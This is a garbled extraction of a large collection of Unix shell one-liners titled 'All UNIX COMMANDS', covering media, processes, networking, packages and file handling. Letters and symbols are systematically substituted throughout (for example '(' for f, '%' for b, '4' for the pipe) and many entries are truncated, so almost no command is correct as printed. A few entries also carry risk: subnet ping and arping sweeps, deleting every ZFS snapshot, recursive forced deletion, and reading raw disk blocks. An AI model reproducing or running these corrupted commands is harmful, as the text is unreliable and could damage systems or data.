# MU player (ind 2 name 2mpU 4 sort 4 *hile read r mpU do echo e 8-hU.$mpU-/hU.Ln-audio controls src=L8$mpUL8.-/audio.8 done . inde,2html python m http2server # ps &rep *ith header ps& EG ps au,*** 4 e&rep 8$4<68 4 &rep v &rep # 6isplay (ormatted routes routel # validate ,ml in a shell script usin& ,mllint ,mllint noout some2,ml 9.F ./dev/null 44 e,it 319 / 658
All UNIX COMMANDS # @rl ncode uriescapeEG echo 8$78 4 sed s/LL/LLLL/&s/2/FLn/& 4 *hile read r i do echo $i 4 &rep P a>A\"W/2:VF=B FF echo n 8$i8 44 print( KKK, L8$i8 done # 3ount the (rePuency o( every *ord (or a &iven (ile cat O@RI<04tr d :punct:B4tr :upper:B :lo*er:B4tr s Ln4sort4uniP c4sort rn # (ind *hich o( the >ip (iles contains the (ile youre searchin& (or (ind 2 iname 2>ip 4 *hile read (ile do un>ip l 8$(ile8 4 &rep P internal (ile nameB FF echo $(ile done # ;enerate a character pass*ord+ print the pass*ord and shaZ9 salted hash cat /dev/urandom 4 tr dc a>A\"W 4 (old * 4 head 4 python c 8import sys+crypt stdin=sys2stdin2readlineEG2rstripELnG print stdinprint crypt2cryptEstdinG8 # most used uni, commands a*) print $ X/2%ashhistory 4 sort 4 uniP c 4 sort rn 4 head n " # @pdate O&& [or%is (ile comments (or ( in 2o&& do vor%iscomment l 8$(8 4 sed s/peter &a%riel/eter ;a%riel/ 4 vor%iscomment * 8$(8 done # Access partitions inside a 0[M volume )part, a /dev/mapper/space(oo%ar # split a (ile %y a speci(ic num%er o( lines csplit ) my(ile Z""
# 3lean all 2pyc (iles (rom current proDect2
All UNIX COMMANDS # Iire 3M6 every time I<0 Eor directoryG is updated Eon QS6G (=8I<08c=83M68s=8stat ( Km $(8t=_$s_*hile Bdo i( $t eP _$s_ Bthen sleep else echo _$c_t=_$s_(idone # Sho* %attery in(omations (or OS ^ "2Z2, systempro(iler So*er6ataType 4 e&rep e 83onnected43har&e remainin&4Iull char&e capacity4 3ondition8 4 sed e s/' LtB// # add an mpU audio trac) to a video mencoder id, our
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# Turn shell tracin& and ver%osity Eset ,vG on/o(( *ith command! (unction set,EG sed /,vB/!59 --- $ FF set 1,v e,port S?=8... 8 44 e,port S?=8_tput seta( U_... _tput s&r"_8 set ,v # 0ist Threads %y id alon& *ith Thread Start Time ps o pid+l*p+lstart pid ]W] 0 # set your screensaver as your des)top %ac)&round MA3 OS^ / System/0i%rary/Irame*or)s/ScreenSaver2(rame*or)/Resources/ScreenSavern&ine2app/3ontents/Mac OS/ScreenSavern&ine %ac)&round F # Mar) pac)a&es installed *ith %uilddep (or autoremove Eon 6e%ian/@%untuG sudo aptitude mar)auto $Eaptcache sho*src A3YA; 4 &rep Quild6epends 4 perl p e s/EV: LEB21VLBGB4Quild6epends:4+4L4G//&G # Iind out *hen your %illionsecond anniversary is E*asG2 date d9/U/W]"1"""""""""sec # convert video (ormat to youtu%e (lv (ormat ((mpe& i ourvideo(ile s U9",9?" I<02(lv # 5uic) searchin& *ith less >cat (ile2&> 4 less 1/searchpattern # Jatch R^/T^ rate o( an inter(ace in )%/s *hile cat /proc/net/dev do sleep done 4 a*) /eth"/ o=n o9=n9 n=$9 n9=$" print( 8in: KW29(LtLtout: KW29(Lr8+ EnoG/"9?+ En9o9G/"9? # 3hec) i( a machine is online *ith %etter @< echo n 8< Address or Machine Name: 8 read < pin& c P $< ./dev/null 9.F FF echo e 8Le""U9mOnlineLe""m8 44 echo e 8Le""UmO((lineLe""m8 # a*) chan&e (ield separator a*) $=$ IS=8 8 OIS=8:8 (ile # ;et My u%lic < Address curl s http://myip2d)/ 4 e&rep m o "WB+UL2"WB+UL2"WB+UL2"WB+U # ;ra% mpU (iles (rom your (avorite netcasts+ mpU%lo&+ or sites that o(ten have &ood mpUs *&et r l H t nd N np A2mpU ero%ots=o(( i X/sourceurls2t,t # calulate esta%lished tcp connection o( local machine netstat an 4 &rep c 'tcp21STAQ0
All UNIX COMMANDS # ;et in(ormation on your &raphics card on linu, Esuch as &raphics memory si>eG lspci v s _lspci 4 a*) /[;A/print $_ # erl oneliner to determine num%er o( days since the @ni, epoch perl e print( PPKdLn+ time/?"" # Rename a (ile *ith a random name r(EG (or i in 8$78 do mv 8$i8 8$Ep*&en G2$i##28 done # 3ommands on svn stat svn stat 4 &rep M 4 cut d 8 8 ( 4 ,ar&s svn revert # 0ist all availa%le python modules python c 8helpEmodulesG8 # 0ist o( computers not lo&&ed into in more than (our *ee)s dsPuery computer name 3OM@TRNAM inactive ? # apt&et via sudo apt&et EG 8$8 = source B FF Ecommand apt&et 8$78trueG 44 sudo apt&et 8$78 # Send test prints to net*or)ed printer2 echo 8test8 4 lp d $R
All UNIX COMMANDS cat su%titles2t,t 4 perl pe s/ //& s/ELd1G/==/ $(=E9?/9Z$G s/ELd1G/=9=/ $(9=E9?/9Z$G $(=Xs/L22// $(9=Xs/L22// s/==/$(/ s/=9=/$(9/ . su%titlesne*(ps2t,t # yum P list updates 4 tail n19 0ist up&radea%le pac)a&es on Redhat # Iind out *hen your %illionsecond anniversary is E*asG2 date D v 1"""""""""S ( KmKdK mmdd # ;et decimal ascii code (rom character echo n a 4 od d 4 sed n 8s/'2 //&p8 # Short
# Sa(ely remove old unused )ernels in @%untu/6e%ian sudo aptitude pur&e Xilinu,ima&eL"WLBLEL!_uname r_LG # do*nload a list o( urls cat urls2t,t 4 *&et i T " t U *aitretry # Iunction to create an alias on the (ly m)alias EG echo 8alias $=L8$9L88 .. XL2%ashaliases # sort a CSON %lo% cat (oo2Dson 4 python mDson2tool # ;et o*n pu%lic < address *&et http://ipecho2net/plain O P echo # Jatch ouTu%e and other Ilash videos via mplayer Eor *hateverG mplayer $Els t /tmp/Ilash4head G # t,t9html recode 22HTM0 - (ile2t,t . (ile2html # %ash/)sh (unction: &iven a (ile+ cd to the directory it lives (unction (cd EG ( $ B FF cd $Edirname $G 44 cd $
p*d
# Search (or a -pattern. strin& inside all (iles in the current directory (ind 2 type ( e,ec &rep i -pattern. L # rotate the compi> cu%e via command line *mctrl o 9"+" # 3reate commands to do*nload all o( your ;oo&le docs &oo&le docs list 4a*) Q;
All UNIX COMMANDS ,set (p1 /Applications/Mathematica2app/SystemIiles/Ionts/Type/ # Real time duplication o( Apache app tra((ic to a second server nice n 9" ssh SO@R3SR[R 8tail ( /var/lo&/httpd/access2lo& 8 4 a*) print $] 4 &rep Dsp 4 parallel curl TAR;TSR[R 9.F /dev/null # Te,t to ima&e *ith transparent %ac)&round convert %ac)&round none pointsi>e ZZ la%el:8_*hoami_8 me2pn& # rint the current time on the *hole screen+ updated every second *hileEtrueG do print( 8KsL(8 $Edate 1KTG sleep done 4 sm # remove accented chars iconv ( ut( t ascii//TRANS0
# ;et M6Z chec)sum (rom a pipe stream and do not alter it cat some(ile 4 tee .Eopenssl mdZ . sum2mdZG 4 %>ip9 . some(ile2%>9 # rints the latest modi(ied (iles in a directory tree recursively (ind 2 name pd( print" 4 ,ar&s " ls lt 4 head 9" # 3onvert ascii strin& to he, echo 8te,t8 4 hd # Yill all \om%ie processes i( they accept it! )ill W _ps ,a* o state o pid 4 &rep \ 4 &rep v <6 4 a*) print $9_ 324 / 658
All UNIX COMMANDS # Iind Out My 0inu, 6istri%ution Name and [ersion cat /etc/issue # ;et rid (rom a %lan) display *ithout re%oot -3trl.-Alt.-I. )illallZ # Iind Mac address ip li 4 &rep ether 4 a*) print $9 # Run a script in parrallel over ssh pssh h RemoteHosts2t,t < - X/0ocalScript2sh # 5uic) synta, hi&hli&htin& *ith multiple output (ormats $ python m py&ments o source2html source2py # 3lone / (ind 2 path 2/mnt prune o path 2/lost1(ound prune o path 2/sys prune o path 2/proc prune o print 4 cpio pumd /destination FF m)dir /destination/mnt/ FF m)dir /destination/proc FF m)dir /destination/sys # ;ets the en&lish pronunciation o( a phrase sayEG *&et P @ Mo>illa O output2mpU 8http://translate2&oo&le2com/translatettsV tl=enFP=$8 &nometerminal , %ash c 8totem output2mpU8 sleep ? totem Puit # list *ith (ull path ls d $J6/ # Automatically s)ip %ad son&s in your M6 playlist2 *hile : do Empc current 4 &rep i nic)le%ac) FF mpc ne,tG sleep Z done # %urn %ac)ed up ,%o, U" &ames &ro*iso(s usethe(orcelu)e=dao usethe(orcelu)e=%rea):WU]" dvdcompat speed=9 \ /dev/cdrom=^QO^U";AMHR2iso # 6elete more than one month old thum%nails (rom home directory (ind X/2thum%nails/ type ( atime 1U" print" 4 ,ar&s " rm # %ash (unction to chec) (or somethin& every Z seconds (unction chec)(or EG *hile : do $ sleep Z done # ;et decimal ascii code (rom character ordEG print( 8KdLn8 8$8 # Normali>e volume in your mpU li%rary (ind 2 type ( name 2mpU e,ecdir mpU&ain a 1 # *atch snapshots commit in [M*are S^ *atch ls tou&h (ulltime 2vmd) # Sho* directories in the ATH+ one per line echo e $ATH//:/LLn # mer&ency Alien
All UNIX COMMANDS # yes . /dev/null uses all cpu cycles (or one core2 &ood (or testin& your cpu or Dust *armin& yoursel( up # tar pipe to copy (iles+ alternate to cp Ra Ecd /ori&nl/path tar c( 2 G 4 Ecd /dst/dirtar ,v( G # 3ompare copies o( a (ile *ith mdZ di(( -EmdZsum renderpac)2>ip4 cut d 8 8 ( G -EmdZsum /media/&reen/renderpac)2>ip4 cut d 8 8 ( Gecho $V
# ;enerate an ^Y36 #WU style ? *ord passphrase E(astG echo $E&rep 8''A\BLU+]L$8 /usr/share/dict/*ords4shu( n?G # 3leanup a EsourceG te,t (ile+ removin& trailin& spaces/ta%s and multiple consecutive %lan) lines sed i e s/ LtB$///'$/N/Ln$/6 source(iletocleanup # Iorce ;N@/0inu, )ey%oard settin&s+ layout and con(i&uration sudo dp)&recon(i&ure )ey%oardcon(i&uration # Suspend to ram pmi action suspend # 6oin& some (loatin& point calculations *ith roundin& Ee2&2 at the Urd decimalG echo 9U/] 4%c l 4,ar&s print( 8K2U(Ln8 # Open [im *ith t*o *indo*s vim c ne* my(ile # recursive trans(orm all contents o( (iles to lo*ercase (ind 2 type ( print" 4 ,ar&s " perl pi2save e tr/A\/a>/ # Random <v? address perl e print( DoinE828+ E8Kd8G,? G+ map rand 9Z 22? # 0ist all Sam%a user name pd%edit * 0 4 a*) I8:8 print $ # (ind (iles in a date ran&e touch t 9"""""""" %e&in touch t 9""9U9UZW2ZW end (ind 2 ne*er %e&in a ! ne*er end # 3opy (iles (rom multiple directories into one directory (ind -start directory. iname 8-all my (iles type.8 e,ec cp -tar&etdir. L # rint entire (ield i( strin& is detected in column a*) i( E$column == 8strin&8G print (ile2t,t # convert sin&le di&it to dou%le di&its >mv EV2o&&G "$ # suspend to ram *ithout root d%ussend system printreply dest=8or&2(reedes)top2@o*er8 /or&/(reedes)top/@o*er or&2(reedes)top2@o*er2Suspend # ;enerate pass*ord tr dc A\a>"W!7#$K'F - /dev/urandom 4 (old * 9 4 head n 326 / 658
All UNIX COMMANDS # in& s*eep *ithout NMA Epre(i,=8"2ZW298 FF (or i in _seP 9Z?_ do Esleep "2Z FF pin& c * $pre(i,2$i F. /dev/null FF arp n 4 a*) /$pre(i,2$i / print $ 8 8 $U G F done *aitG # Sho* the last 9" sessions lo&&ed on the machine last n 9" # Jatchin& 3ommand *atch cat /proc/loadav& # monitor system load tload s " # ;et len&th o( current playlist in ,mms9 ,mms9 list 4 sed n e iL" e s/'2ELE"WBLG:LE"WBLGG$/L "L911/&p e $aL"op 4 dc 4 sed e s/' // e s/ /:/& # Add all unversioned (iles to svn svn st 4 a*) i( E$ X 8V8G print $9 4 ,ar&s svn add # (ind (ile/dir %y e,cludin& some un*anted dirs and (ilesystems (ind 2 ,dev path 2/Dun)dir prune o type d name 8dirname8 a print # Automatically connect to a host *ith ssh once it is online var=host *hile ! nc >* $var 99do sleep done ssh user7$var # ;et your current u%lic < curl i(con(i&2me # hi%ernate sudo pmhi%ernate
# directory si>e *ith su%directories+ sorted list du m ma,depth= 6
oac copy
All UNIX COMMANDS # pd(count: &et num%er o( pa&es in a 6I (ile pd(in(o (ile2pd( 4 &rep 8'a&es: "WBL1$8 4 sed s/2 // # My S declare , S=8LLe"UZmLBLuLLe""mLB7LLe"UmLBLhLLe""mLBBELDG:L Le"UmLBL*LnLL$ LLe""mLB8 # ut uppercase letters in curly %rac)ets in a Qi%Te^ data%ase sed /'Ls'7KB/s=LEA\BA\BLGLE'A\BL4+$LG=LL9=& literature2%i% . output2%i% # speedtest *&et outputdocument=/dev/null http://speedtest2*dc"2so(tlayer2com/do*nloads/testZ""2>ip # Testin& readin& speed *ith dd sync time _dd i(=/dev/cciss/c"dp o(=/dev/null %s=M count="9?"_ # Mostly silent I0A3 chec)in& Eonly errors are displayedG (lac ts 2(lac # Random <v? address perl le $+=828print map int rand 9Z+22? # ;enerate RSA private )ey and sel(si&ned certi(icate touch p)2pem FF chmod "" p)2pem FF openssl &enrsa out p)2pem 9"? FF openssl reP ne* %atch )ey p)2pem 4 openssl ,Z"W reP days UZ si&n)ey p)2pem out cert2pem # 3reate a (alse directory structure (or testin& your commands (or each in /usr/%in/ do echo $each 4 sed s/L/usrL/%inL/// 4 ,ar&s touch done # easy 3 shell math calculators alias calc echo 8scale=?L!84%c l alias ,calc echo 8L!84%c l # Ma)e a statistic a%out the lines o( code (ind 2 type ( name 82c8 e,ec cat L 4 *c l # post&resPl S50 to sho* count o( A00 ta%les ErelationsG includin& relationsi>e S03T relname+ reltuples+ p&relationsi>eErelnameG IROM p&class r CO
# Read all the S2M2A2R2T2 data (rom a hard dis) drive smartctl attri%utes /dev/sda # run comple, remote shell cmds over ssh+ *ithout escapin& Puotes 328 / 658
All UNIX COMMANDS echo 8properlyescapedcommand8 4 ssh user7host $E- /dev/(d/"G # Iind (iles and calculate si>e o( result in shell (ind 2 name 8pattern8 e,ec stat cKs L 4 a*) total 1= $ N6 print total # Sho* a listin& o( open mail%o, (iles Eor *hatever you *ant to modi(y it to sho*G lso( 4 &rep 8/var/spool/mail/8 # rename a (ile to its mdZsum mdZsum 4 sed s/'LEL*LGLsLE2LG/L9 L/ 4 *hile read 0
All UNIX COMMANDS # dhcdrop testin&/suppression/trac)in& (alse 6H3 servers sudo dhcdrop i eth y l ""::99:UU:??:ZZ # Ma)e some po*er(ul pin) noise play c 9 n synth pin)noise %and n 9Z"" ?""" tremolo "2"U Z rever% 9" &ain l # 0ist your MA3s address ip li 4 &rep (( # 0ist all sym%olic lin)s in current directory (ind /*as type l
# 3ompress archiveEsG or directoryEiesG and split the output (ile rar a mZ vZM R myarchive2rar /home/ # 0imit the rate o( tra((ic to a particular address *ith tc2 tc Pdisc add dev -dev. root handle : c%P avp)t """ %and*idth ""m%ittc class add dev -dev. parent : classid : c%P rate U"")%it allot Z"" prio Z %ounded isolatedtc (ilter add dev -dev. parent : protocol ip prio uU9 match ip dst -ip. (lo*id : # Ho* To ;et the Apache 6ocument Root a*) $X/'6ocumentRoot/print $9 /etc/apache9/sitesavaila%le/de(ault # 3ountdo*n 3loc) M
4 &rep ipa
4 sed e
# 0ist all sym%olic lin)s in current directory (ind /*as type l # lay all the music in a (older+ on shu((le *hile BB do n=E / G s=$n$EE$RAN6OMK$#n7BGGB echo e 8 $s8 mp&9U P 8$s8 done # ur&e con(i&uration (ile o( all desinstalled pac)a&e aptitude pur&e Xc # chec) to see *hat is runnin& on a speci(ic port num%er lso( iT3:"" sT3:0
All UNIX COMMANDS curl s u $username:$pass*ord http://W9222/6H3Ta%le2htm 4 &rep -td.2 -/td. 4 sed s4Lt-td.LE2LG -/td.Lr4L4 4 tr Ln 4 sed s/LE'BLGLE'BLG/L9LtLLn/& # sorted list o( dhcp allocations &rep 'lease /var/li%/dhcp/dhcpd2leases 4 cut d ( 9 4 sort t 2 ) +n ) 9+9n ) U+Un ) ?+?n 4 uniP # Stream and save outu%e video *&et _youtu%edl & http://***2youtu%e2com/*atchVv=SUOWPi99@_ O 4 tee a parachute endin&2(lv 4 mplayer cache W9 # Qinary cloc) (or a in $Edate 18KHKM84cut %+9+U+? outputdelimiter=8 8Gdo case 8$a8 in "Gecho 822228Gecho 822289Gecho 82228UGecho 8228?Gecho 82228ZGecho 8228Gecho 8228]Gecho 828Gecho 82228WGecho 8228esacdone # Sho* seconds since modi(ied o( ne*est modi(ied (ile in directory ls atr /home/reports/2csv o timesty=1Ks 4 tail 4 a*) print systimeEG$Z # Remove old )ernels and header data in @%untu/6e%ian sudo apt&et y pur&e $Edp)& &etselections 4 a*) EE/'linu,/G FF E/"WBL2/G FF E!/8_uname r 4 sed 8s/&eneric//&8_8/GG print $G # %ash re&e, match $strin& =X re&e, BB : (or e,ample $strin& =X 21 BB # Split tsv (ile %y (i(th column 222 or any column a*) ILt print $" ..$Z2tsv # 0ist all sym%olic lin)s in current directory (ind /*as type l # &et current &it %ranch &it revparse sym%olic(ullname a%%revre( HA6 # ur&e con(i&uration (ile o( all desinstalled pac)a&e # aptitude pur&e Xc # 3hrome suc)s ps o rss= 3 3hrome 4 E,=" *hile read rss do EE,1=$rssGG done echo $EE,/"9?GGG # Yno* your distro ls%release a
# Ho* many *orld *ritea%le (iles on your systemV EMandriva 0inu, msecG # *c l /var/lo&/security/*rita%le2today # Trans(er ntire recursive (rom one host to another2 Only copies (iles that are ne*er or do not e,ist rsync a> e 8ssh portnum%er8 srcdir user7hostQ:destdir # umount ssh(s mounted directory (usermount u X/ssh(smounteddirectory # Title 3ase Iiles rename s/E'4LsLELGLLBBGEa>BG/$Lu$9/& # Yey %indin& to search commandline(u2com 331 / 658
All UNIX COMMANDS (unction ds echo n 8search : 8 read ST ST=_php r 8echo ra*urlencodeE$STG8_ Q?=_echo n $ST4 openssl enc %ase?_ curl s 8http://***2commandline(u2com/commands/matchin&/$ST/$Q?/plainte,t8 4 less p 8$ST8 %ind 8L3)8:8L8dsL3mL88 # Open multiple ta%s in Iire(o, (rom a (ile containin& urls (or /I Ki in Eurllist2t,tG do Iire(o,2e,e ne*ta% 8Ki8 # ;et the < address hostname < # top *ith pro&ame name (unction ptopEG _ps e( 4 &rep $ 8 _
4 a*) Q;
8
#
All UNIX COMMANDS #
# do*nload *ith chec)sum *&et PO http://***2&oo&le2com 4 tee .EmdZsumG . /tmp/inde,2html # uncomment the lines *here the *ord 6Q@; is (ound sed s/'#LE26Q@;LG/L/ $I<0 # vim read stdin ls 4 vie* # pad (ile names *ith >eros so that (iles sort easily >eros=U (rom= to=Z (or (oo in $EseP $(rom $toG do echo mv 8(ront$(oo%ac)8 8(ront$ Eprint( 8K"$>erosdLn8 $(ooG%ac)8 done # Iind the " users that ta)e up the most dis) space sudo s du sm /@sers/ 4 sort nr 4 head n " # Sho* and update a lo& (ile tail I lo&(ile # move up throu&h directories (aster Eset in your /etc/pro(ile or 2%ashpro(ileG (unction up i=$ *hile $EEiGG &t " B do cd 22/ FF p*d done # 3hrome suc)s ps A o rss+command 4 &rep
3Bhrome 4 a*) sum1=$ N6 print(E8KsMQLn8+sum/"9?G
# ;enerate an ^Y36 #WU style ? *ord pass*ord shu( n? /usr/share/dict/*ords 4 tr Ln # 0ist all sym%olic lin)s in the current directory ls l _(ind 2 ma,depth type l print_ # 6estroy all \IS snapshots >(s list H o name t snapshot 4 ,ar&s n t >(s destroy # search the pattern (rom %>ip9ed %>&rep i 8pattern8 pattern2%>9
(ile
# 3onvert man pa&e to 6I man Tps ls .. lsmanpa&e2ps FF ps9pd( lsmanpa&e2ps # 3ount repeated lines+ listin& them in descendin& order o( (rePuency 03A00=3 sort (ile 4 uniP c 4 sort n ) r # 0e&acy MacOS to @ni, te,t convert usin& perl perl i pe s/Lr/Ln/& (ile # AR Scan 333 / 658
All UNIX COMMANDS i( , /s%in/arpin& B then (or i in 229ZZ do echo arpin& "222$i arpin& c "222$i 4 &rep reply done (i # Qatch resi>e ima&e to e,act &iven resolution i&norin& aspect ratio mo&ri(y resi>e "",""! 2Dp& # Asynchronous <6 Mana&ement sh time2sh 9" F var=8$!8 F sh time2sh 9 " F var9=8$!8 F sh time2sh U ?" F varU=8$!8 F sh time2sh ? U" F var?=8$!8 *ait $var FF *ait $var9 FF *ait $varU FF *ait $var? # 0ist all (iles in current dir and su%dirs sorted %y si>e (ind 2 print( 8Ks KpLn8 4 sort n # To remove all 2s*p (iles underneath the current directory (ind 2 name L2s*p type ( delete # 3onvert an S[; to pn& and crush (ilesi>e sv&9pn&EG pn&=8$K22pn&8 in)scape e,portpn&=8$pn&8 *ithout&ui 8$8 FF pn&crush %rute rem alla rem te,t 8$pn&8 8$pn&2ne*8 FF mv 8$pn&2ne*8 8$pn&8 # Ior pictures : copy the last hierarchical )ey*ord Eta&G in the caption Etitle+ descriptionG i( empty2 e,i(tool over*riteori&inal preserve recurse 8iptc:3aptionA%stract-$ ^M:HierarchicalSu%Dects/21L4//&8 i( 8not $iptc:3aptionA%stract8 6
# Mer&e 3oncate MU (iles so, 2mpU t *avpcm 4 lame . %unch2mpU # 3d 6elu,e improved cd command (or ni, and *indo*s cdd NAM6OT
# list uniPue (ile e,tensions recursively (or a path+ include e,tension (rePuency stats 335 / 658
All UNIX COMMANDS (ind /some/path type ( 4 &a*) I/ print $NI 4 &a*) I2 /L2/print $NI 4 sort 4 uniP c 4 sort rn # ;et last sleep time on a Mac sysctl )ern2sleeptime # Iind core (iles (ind 2 type ( re&e, 82/core2"WB"WB"WB"WB$8 # Read the @seless @se o( 3at A*ards pa&e elin)s http://partmaps2or&/era/uni,/a*ard2html # 3ommand to %uild one or more net*or) se&ments *ith *hile se&EG echo e 8$8 4 *hile read 0
All UNIX COMMANDS echo e 89 mornin&LnZ a(ternoonLn9? evenin&8 4a*) i( E_date 1KH_-$G print 8;ood 8$9e,it # osts a (ile to sprun&e2us and copies the related url to the clip%oard sprun&e EG curl s I 8sprun&e=7$8 http://sprun&e2us 4 ,clip selection clip%oard FF ,clip selection clip%oard o # Restore permissions or o*nership (rom a %ac)up directroy (or , in _(ind /dir**ron&o*nership/_ do y=_echo 8$,8 4 sed s+/dir**ron&o*nership/+/%ac)updir/+_ cho*n re(erence $y $, done # ;et the name or user runnin& the process o( speci(ied <6 ps p pid o lo&name 4tail # Remove color codes Especial charactersG *ith sed sed r s/$Eecho e 8L"UU8GL"WB+9EE"WB+9GVGVmYB//& # Remove all 2svn directories recursively (rom a directory (ind 2 name 2svn type d 4 ,ar&s rm r( # <( *ith line (ind
a directory contains so(tlin)s+ &rep *ill &ive lot o( *arnin&s2 So %etter use it alon& (ind command so that so(tlin)s are e,cluded2 8Hn8 operator *ill ta)e care that %oth num%er and (ilename is sho*n in &rep output /path/to/search/directory e,ec &rep Hn 8pattern8 L
# 0ocate command (or MA3 OS^ alias locate=i( $EE_date 1Ks__eval $Estat s /var/d%/locate2data%aseG echo $stmtime_GG &t U"" B then echo 8locate: d% is too old!8./dev/stderr sudo /usr/li%e,ec/locate2updated% (i locate i
# )vm dis) in(o *hile read ^ do print( 8$^ 8 virsh dump,ml $^ 4 e&rep 8source dev4source (ile8 done-Evirsh list 4 a*) $ X /'WB/ print $9 G # open emacs *ith no init (ile emacs P # 3hec) the state o( a service sc Puery servicename # 6o*nload ;erman *ord pronounciation as mpU (ile (or * in JORTB JORTnB do *&et O $*2mpU $E*&et O 8http://***2duden2de/rechtschrei%un&/$*8 4 &rep o 8http://***2duden2de/media/audio/ 'L2BL2mpU8G done # the e,ecuta%le that started the currently runnin& oracle data%ases and the ORA30HOM relative to each ps e( 4&rep oracle 4&rep pmon 4a*) print $9 4,ar&s < ps e** 4&rep pmon 4&rep v &rep 4a*) print $Z 8 8 $ 8 8 $" 4sed s/LESLG LESLG 2ORA30HOM/L L9/& 4cut (+9+U d8 8 # lay (iles *ith mplayer+ includin& (iles in su%directories+ and have )ey%oard shortcuts *or) mplayer playlist -E(ind $J6 type (G #
All UNIX COMMANDS # Iind all relevant certi(icates Ee,cludin& some dirsG and list them each (or crt in $Elocate r 21L2crt 4 &rep v 8/usr/share/cacerti(icates/8G do done
ls la $crt
# Transcode an interlaced video avconv i interlaced2avi c:v li%,9? preset slo* tune (ilm (la&s 1ilme1ildct c:a copy transcoded2mp? # 0o& 0ines er Second apache+ n&in,+ hapro,y and/or sPuid tail I /var/lo&/apache9/access2lo& 4 pv N RAJ lc ./dev/null # open emacs *ith di((erent HOM HOM=/home/sachin/anotheremacshome emacs # Open current *allpaper on nautilus (ilemana&er Echan&e (ilemana&er name (or othersG &settin&s &et or&2&nome2des)top2%ac)&round pictureuri 4 ,ar&s nautilus # rint the list o( all (iles chec)ed out %y er(orce S3M alias opened=p? opened 4 a*) I# 8print L$8 # 3reate a multipart RAR archive rar a vS<\B archivenameB (ilesB # ;et your e,ternal < address *&et PO http://***2sputnic)area2net/ipecho # 3reate SSH )ey e,chan&e (rom one host to the other cat X/2ssh/idrsa2pu% 4 ssh -remotehost. 8,ar&s null echo .. X/2ssh/authori>ed)eys8 # lay %ac) shell session recorded usin& the E
338 / 658
All UNIX COMMANDS # ou can access someima&e2html *here you include a ima&e any other (ile than you can access it throu&h http usin& a %ro*ser Ee2&2 http://,,,2,,,2,,,2,,,:9U?Z G cat someima&e2html 4 nc v l p 9U?Z # Qatch 3onvert S[; to N; Ein parallelG parallel convert 22pn& ::: 2sv& # 6isplay H (iles that directly instantiate a &iven class (ind 2 name 82php8 e,ec &rep LH 8ne* (ilter8 L # ;enerate Iiles *ith Random 3ontent and Si>e in Qash noo((iles=" counter= *hile $counter le $noo((iles BB do echo 3reatin& (ile no $counter dd %s="9? count=$RAN6OM s)ip=$RAN6OM i(=/dev/sda o(=random(ile2$counter let 8counter 1= 8 done # 0ist your Qo,ee Pueue curl u -username. http://app2%o,ee2tv/api/&etPueue 4 ,ml9 4 &rep /%o,ee(eed/messa&e/description 4 a*) I= print $9 # di(( recursively+ i&norin& 3[S control (iles di(( , 83[S8 r -path. -path9. -pathU.B # Sho* directory si>es+ re(reshin& every 9s *atch (ind ma,depth mindepth type d
4,ar&s du csh
# intersection o( t*o arrays Array=E 8one8 8t*o8 8three8 8(our8 8(ive8 GArray9=E 8(our8 8(ive8 8si,8 8seven8 Gsaved
All UNIX COMMANDS # 3ount and sho* duplicate (ile names (ind 2 type ( 4sed 8s#2/##&8 4sort 4uniP c d # print all characters o( a (ile usin& he,dump ,,d -(ile. # 6isplays userde(ined ps output and pidstat output a%out the top 3@ or MMory users2 (or i in $Eps eo pid+pmem+pcpu4 sort ) U r4&rep v <64head "4a*) print $Gdo di(( y* -Epidstat p $i4&rep v 0inu,G -Eps o euser+pri+psr+pmem+stat p $i4tailGdone # process lister/)iller no p&rep and p)ill pEG ps a, 4&rep $ 4sed /&rep28$8/d 4*hile read ado print( $aKK print( 8$a# 8 .F9print( Lndone # Revert all modi(ied (iles in an S[N repo (or (ile in _svn st 4 a*) print $9_ do svn revert $(ile done # 0ist ima&e attri%utes (rom a (older o( C; ima&es (or (ile in 2Dp& do identi(y (ormat K( K% K5 K* Kh $(ile done # identi(y active net*or) connections lso( i 1c " 1M 4 &rep i 8$8 # Remove duplicate lines usin& a*) a*) !E$" in arrayG array$"B print temp # Iind all Mac Address /s%in/lspci v 4 &rep i 86evice Serial Num%er8
# Iind processes %loc)ed on
All UNIX COMMANDS # Add an 8alert8 alias (or lon& runnin& commands alias alert=noti(ysend ur&ency=lo* i 8$E $V = " B FF echo terminal 44 echo errorG8 8$ Ehistory4tail n4sed e Ls/'Ls"WBL1Ls//s/F4BLsalert$//LG8 # 3opy *ith pro&ress &cp sourceB destinationB # Archive and compress a directory usin& &un>ip compression tar >cv( archivename2tar2&> directorytocompress # Automatically sync current &it proDect *ith remote host *hile editin& *hile true do rsync vR $E&it ls(iles 4 inoti(y*ait P e modi(y e attri% e close*rite (rom(ile (ormat K*G user7host:dest/dir/ done # count and num%er lines o( output+ use(ul (or countin& num%er o( matches ps au, 4 &rep hBttpd 4 cat n # 3reate uniPue email addresses directly (rom the @S census siteIull command in comments paste d 828 -Ecurl http://222/dist2(emale2(irst http://222/dist2male2(irst 4 cut d 8 8 ( 4 sort uRG -Ecurl http://2222/dist2all2last 4 cut d 8 8 ( 4 sort R 4 head ZUG 4 tr 8:upper:B8 8:lo*er:B8 4 sed s/$/7test2domain/& # (ind the device *hen you only )no* the mount point d( 4 a*) $==8/media/Y
(ore&round color
# Sho* Je%Sphere AppServer uid4pid4cell4node4Dvms ps e( 4 &rep DBava 4 a*) I print $+8 4 sort )?
8+$9+8Lt8+$ENI9G+8Lt8+$ENIG+8Lt8+$NI
# repeat a command every , seconds *hile sleep do (oo done # 3hec) *here mail *as sent (rom &rep c*d /var/lo&/e,immainlo& 4 &rep v /var/spool 4 a*) I8c*d=8 print $9 4 a*) print $ 4 sort 4 uniP c 4 sort n # Recursive (ind all mp?s in a (older and convert to o&v i( the o&v does not e,ist or the mp? is ne*er then the current o&v (or (ile in $E(ind 2 name 2mp?G do o&v=$(ileKK2mp?2o&v i( test 8$(ile8 nt 8$o&v8 then echo $(ile is ne*er then $o&v ((mpe&9theora $(ile (i done # ,port/Qac)up a ost&reS50 data%ase p&dump @ post&res nome6QB . d%2dump 341 / 658
All UNIX COMMANDS # shell alternative to %asename echo $(ile##/ # run vm*are virtual machine (rom the command line *ithout the &ui or ^ session vmrun start /path/to/virtualmachine2vm, no&ui # ;et Iuturama Puotations (rom slashdot2or& servers curl s< http://slashdot2or&/ 4 sed nr s/^EQender4IryGE2G/LL9/p # Sho* a con(i& (ile *ithout comments &rep v '# /etc/some(ile2con( 4 &rep 2 # prips can %e used to print all < addresses o( a speci(ied ran&e2 prips # 3apitali>e (irst letter o( each *ord in a strin& echo (Oo QaR 4 ru%y e 8p ST6
